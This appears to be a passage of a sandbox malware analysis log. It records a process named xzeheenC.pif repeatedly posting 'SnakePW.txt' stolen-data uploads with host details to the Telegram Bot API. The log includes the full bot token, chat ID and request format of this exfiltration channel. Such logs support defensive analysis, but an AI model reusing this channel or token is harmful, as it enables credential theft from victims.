2024-12-18 15:17:34 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 35 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418808,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535054,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49830	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:30 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f6bdc044996 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:30 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 36 62 64 63 30 34 34 39 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f6bdc044996Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:34 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:34 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 35 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418809,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535054,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49835	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:31 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f4d324b9521 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:31 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 34 64 33 32 34 62 39 35 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f4d324b9521Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:34 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:34 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 35 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418811,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535054,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49846	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:35 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd203ec07e1085 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:35 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 33 65 63 30 37 65 31 30 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd203ec07e1085Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:36 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:36 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 10 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:36 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 30 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 30 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 10","parameters":{"retry_after":10}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49847	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:35 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1fab8db33d56 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:35 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 61 62 38 64 62 33 33 64 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1fab8db33d56Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:36 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:36 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 10 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:36 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 30 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 30 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 10","parameters":{"retry_after":10}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49848	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:35 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f7c87e875f8 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:35 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 37 63 38 37 65 38 37 35 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f7c87e875f8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:36 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:36 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 10 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:36 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 30 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 30 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 10","parameters":{"retry_after":10}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49854	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:37 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2056f7803414 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:37 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 35 36 66 37 38 30 33 34 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2056f7803414Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:49 GMT Content-Type: application/json Content-Length: 517 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:49 UTC	517	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 36 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418836,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535069,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49856	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:37 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f9415ada89a Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:37 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 39 34 31 35 61 64 61 38 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f9415ada89aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:49 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:49 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 36 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418838,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535069,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49857	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:37 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1fc2f018f4d8 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:37 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 63 32 66 30 31 38 66 34 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1fc2f018f4d8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:49 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
